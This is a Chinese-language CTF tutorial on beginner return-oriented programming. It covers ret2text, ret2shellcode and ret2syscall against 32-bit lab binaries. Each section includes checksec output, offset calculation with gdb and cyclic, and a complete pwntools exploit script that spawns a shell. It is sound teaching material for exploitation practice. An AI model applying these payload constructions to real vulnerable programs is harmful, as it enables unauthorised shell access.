阅读复现本篇请先拥有PWN前置知识
初阶栈溢出
PWN前置工具配置
返回导向编程ROP
-
随着 NX(Non-eXecutable) 保护时代的开启,传统的直接向栈或者堆上直接注入代码的方式难以继续发挥效果,由此攻击者们也提出来相应的方法来绕过保护。
-
目前被广泛使用的攻击手法是 返回导向编程 (Return Oriented Programming) ,其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 gadgets 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
-
gadgets通常是以 ret 结尾的指令序列,通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。
-
返回导向编程这一名称的由来是因为其核心在于利用了指令集中的 ret 指令,从而改变了指令流的执行顺序,并通过数条gadget “执行” 了一个新的程序。
使用 ROP 攻击一般得满足如下条件:
- 程序漏洞允许我们劫持控制流,并控制后续的返回地址。
- 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
作为一项基本的攻击手段,ROP攻击并不局限于栈溢出漏洞,也被广泛应用在堆溢出等各类漏洞的利用当中。
-
需要注意的是,现代操作系统通常会开启地址随机化保护ASLR,这意味着gadgets在内存中的位置往往是不固定的。
-
但幸运的是其相对于对应段基址的偏移通常是固定的,因此我们在寻找到了合适的gadgets之后可以通过其他方式泄漏程序运行环境信息,从而计算出 gadgets 在内存中的真正地址。
ret2text
ret2text 即控制程序执行程序本身已有的的代码(即 .text段 中的代码)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是gadgets),这就是我们所要说的 ROP 。
这时,我们需要知道对应返回的代码的位置,当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
例子
https://enc.edu.pl/files/pwn/ret2text
我们首先查看程序的保护机制
[!] Could not populate PLT: ERROR: fail to load the dynamic library.
[*] 'C:\\Users\\31112\\Desktop\\ret2text'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
可以看出程序是32位程序,且仅开启了栈不可执行保护,接下来我们使用 IDA 反编译该程序。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(s);
printf("Maybe I will tell you next time !");
return 0;
}
可以看出程序在主函数中使用了 gets函数 ,显然存在栈溢出漏洞,接下来查看反汇编代码。
在 secure函数 又发现了存在调用 system("/bin/sh") 的代码,那么如果我们直接控制程序返回至 0X0804863A ,那么就可以得到系统的shell了。
下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main函数 的返回地址的字节数。
可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,将断点下在 call 处,查看esp,ebp。
可以看到 esp 为 0xffffcef0,ebp 为 0xffffcf78,同时 s 相对于 esp 的索引 为s的地址-esp的地址 。计算0xffffcf0c-0xffffcef0=0x1C,因此,我们可以推断
- s的地址为0xffffcf0c
- s相对于ebp的偏移为0x6c
- s相对于返回地址的偏移为0x6c+4
因此最后的payload 如下
##!/usr/bin/env python
from pwn import *
sh = process('./ret2text')
target = 0x0804863A
sh.sendline(b'A' * (0x6c + 4) + p32(target))
sh.interactive()
成功拿到Shell
ret2shellcode
-
ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。通常情况下,shellcode 需要我们自行编写,即此时我们需要自行向内存中填充一些可执行的代码。
-
在栈溢出的基础上,要想执行 shellcode ,需要对应的 binary 在运行时, shellcode 所在的区域具有可执行权限。
-
需要注意的是,在新版内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用。
例子
https://enc.edu.pl/files/pwn/ret2shellcode
这里我们以 bamboofox 中的 ret2shellcode 为例,需要注意的是,你应当在内核版本较老的环境中进行实验(如Ubuntu18.04或更老版本)。由于容器环境间共享同一内核,因此这里我们无法通过 docker 完成环境搭建。
首先检测程序开启的保护
[!] Could not populate PLT: ERROR: fail to load the dynamic library.
[*] 'C:\\Users\\31112\\Desktop\\ret2shellcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes
可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段,接下来我们再使用 IDA 对程序进行反编译
可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处,简单查看可知 buf2 在 bss段 。
我们使用 vmmap 来查看一下 .bss 的读写权限。
-
当您在Linux系统中对一个文件使用 chmod + x 命令时,您是给该文件添加了执行权限,使得它可以被操作系统执行。但是,这并不会影响该文件在内存中的权限位,特别是在使用如GDB这样的调试器时通过 vmmap 查看到的内存权限。
-
在 vmmap 输出中看到的权限(如 rwx 或 rw-p)是由程序的可执行文件在编译时确定的,并且由操作系统在加载程序时设置。这些权限定义了不同段(如代码段、数据段、bss段等)的访问权限。chmod + x 命令不会改变这些内存段的权限。
-
如果您希望某个段(如bss段)在内存中具有 rwx 权限,那么这必须在编译时就确定,并且该权限会被包含在程序的可执行文件中。通常,bss段默认是 rw- 权限,因为它们用于存储未初始化的数据,不应该被执行。
-
因此这道题题目复现不了,因为我使用的Linux版本较新,默认锁定 .bss段 的可执行权限,但是依旧可以继续做。
我们使用 cyclic 生成150个乱序字符,输入到gdb调试器中,得到报错地址 0x62616164 。
进而得到 esp 距离 retaddr 的偏移是 112 。
-
cyclic工具通过生成唯一性模式字符串,结合GDB的崩溃地址回溯,实现精准计算缓冲区到返回地址的偏移量。
-
其本质是 模式匹配算法 与 栈帧结构分析 的结合,cyclic生成的每4字节片段在150字节内唯一(如aaabaaacaaadaaae...),当输入超长字符串时,缓冲区溢出覆盖返回地址,CPU将崩溃地址设为被覆盖的返回地址值。
-
于是cyclic帮我们逆向计算偏移,cyclic -l 会将崩溃地址(如0x6161616c)转为ASCII:'aaal',在模式数据库中查找该4字节片段的首次出现位置,返回该片段在原始模式串中的偏移量。
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()
ret2syscall
ret2syscall,即控制程序执行系统调用,获取 shell。
例子
https://enc.edu.pl/files/pwn/ret2syscall
[*] 'C:\\Users\\31112\\Desktop\\ret2syscall'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
首先用 checksec 检测程序开启的保护
可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 进行反编译
可以看出此次仍然是一个栈溢出。类似于之前的做法,我们可以获得 v4 相对于 retaddr 的偏移为 112。
此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。关于系统调用的知识,请参考:
https://zh.wikipedia.org/wiki/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell:
execve("/bin/sh",NULL,NULL)
其中,该程序是 32 位,所以我们需要使得
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。
使用以下命令快速安装ropgadgets
git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
python setup.py install
首先,我们来寻找控制 eax 的 gadgets:
可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。
类似的,我们可以得到控制其它寄存器的 gadgets。
这里,我选择
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
这个可以直接控制其它三个寄存器。
此外,我们需要获得 /bin/sh 字符串对应的地址。
可以找到对应的地址,此外,还有 int 0x80 的地址,如下
同时,也找到对应的地址了。
下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。
#!/usr/bin/env python
from pwn import *
sh = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
初阶ROP链总结
-
ret2text:存在程序自身可利用的代码段。
-
ret2shellcode:不存在已有的可利用代码段,需要构造并向目标可执行内存区写入。
-
ret2syscall:不存在已有的可利用代码段,也无法向栈写入(NX栈不可执行保护开启),利用ROP链构造,且所有相关寄存器可被控制,利用系统调用指令实现攻击。
这一切,似未曾拥有